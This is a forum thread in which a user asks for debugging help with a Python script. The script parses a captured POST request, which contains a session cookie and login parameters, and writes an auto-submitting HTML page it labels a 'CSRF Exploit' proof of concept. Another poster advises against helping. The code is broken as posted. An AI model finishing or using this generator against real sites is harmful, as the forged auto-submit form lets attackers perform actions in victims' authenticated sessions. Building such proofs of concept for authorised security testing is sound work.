#1
  1. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Oct 2008
    Posts
    11
    Rep Power
    0

    Help Please! * Dictionary Issues


    Greetings, any assistance I will be most thankful.

    What am I trying to do.
    (1) Ingest a text file that I copied from a POST request
    (2) Parse through it to gather a associative URL, host address, and (parameters/values)
    (3) Produce an html file with HTML code with the aforementioned items

    My issues:
    (1) Not quite sure how to reference the items of a dictionary that was created in a different function
    (2) Currently, performing a ‘For Loop’ to attempt to loop through the keys,values of the dictionary
    (3) Currently I am getting the following error:

    Traceback (most recent call last):
    File "readFile.py", line 58, in <module>
    main()
    File "readFile.py", line 43, in main
    html.write('\t\t<form name = " Exploit" action = {}
    AttributeError: 'NoneType' object has no attribute 'format'

    Any suggestion will be most helpful!

    Text (Sample1.txt):
    Code:
    POST /console/ flow.accept HTTP/1.1
    Host: Host1234567
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https:// Host1234567/console/f?p=7700:LOGIN:30868042317401
    Cookie: 3D15CB3EA1312345639B990355
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 474
    
    flow_id=7700&p_flow_step_id=101&p_instance=307112345617401&p_page_submission_id=209610
    6884&p_t02=avadmin&p_arg_names=123047657826256884&p_t03=T%2BmText&p_arg_names=2
    p_t06=NONE&p_arg_names=186670512341926&p_t07=360&p_md5_checksum=&p_page_checksum=D6071234


    Code(readFile.py):

    Code:
    import os, sys, re 
    
    def readFile(file):
    	"""
    The purpose of this method is to iterate over a POST response that was copied to a text file and produce the headers and payload (parameters and values). This will aid in creating an exploit html file.
    	"""
    	print "[+] Reading HTTP response file..."
    	dict = {}
    	payload = open(file, 'r').read()
    	formParam = re.search(r'(\S+)&(\S+)', payload).group()
    	paramList = formParam.split('&')
    	for elements in paramList:
    		splitElements = elements.split('=')
    		param, val = splitElements[0], splitElements[1]
    		dict[param] = val
    		
    	print "[+] Dictionary for the payload created."
    		
    	print "[+] Creating action URL ..."
    	rURL = re.search(r'[^P\w{3}](\S)+', payload).group()
    	hostURL = re.search(r'(Host: )(.*)', payload).group(2)
    	print '[+] Gathered the relative URL.'
    	#return rURL  # Need to go back and review this line
    
    	actionURL = 'https://' + hostURL + rURL   
    	print '[+] Action value: {}' .format(actionURL) # Need to figure out how to remove space from output
    
    	return dict, actionURL
    			
    def main():
    	"This function will print the html code to a generated html file."
    
    	print "[+] Creating exploit file..."
    	readFile(sys.argv[1])
    	html = open("CSRF_Exploit.html", "w") 
    	html.write('<html>\n')
    	html.write('<head>\n')
    	html.write('meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >\n')
    	html.write('<title>CSRF POC</title>\n')
    	html.write('</head>\n')
    	html.write('\t<body onload = "javascript:document.form[0].submit()" >\n') 
    	html.write('\t\t<form name = " Exploit" action = {} method = "POST" >\n') .format(actionURL) 
    	
    	for k, v in dict.items:
    		html.write('\t\t\t<input type = "hidden" name = {} value = {} />\n') .format(k, v) # Would like the strings  
    to have quotes around them
    
    	html.write('\t\t</form>\n')
    	html.write('\t</body>\n')
    	html.write('</html>\n')
    	print "[+] CSRF Exploit file created."
    	print "[+] Filename:", html.name
    	html.close()
    
    if __name__== "__main__":
    	#readFile(sys.argv[1])
    	actionURL = ' '
    	main()
  2. #2
  3. Contributing User
    Devshed Demi-God (4500 - 4999 posts)

    Join Date
    Aug 2011
    Posts
    4,841
    Rep Power
    480
    I recommend not assisting jroberson.
    [code]Code tags[/code] are essential for python code and Makefiles!
  4. #3
  5. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Oct 2008
    Posts
    11
    Rep Power
    0

    Help Please


    Originally Posted by b49P23TIvg
    I recommend not assisting jroberson.
    Sorry, is there a reason why?

IMN logo majestic logo threadwatch logo seochat tools logo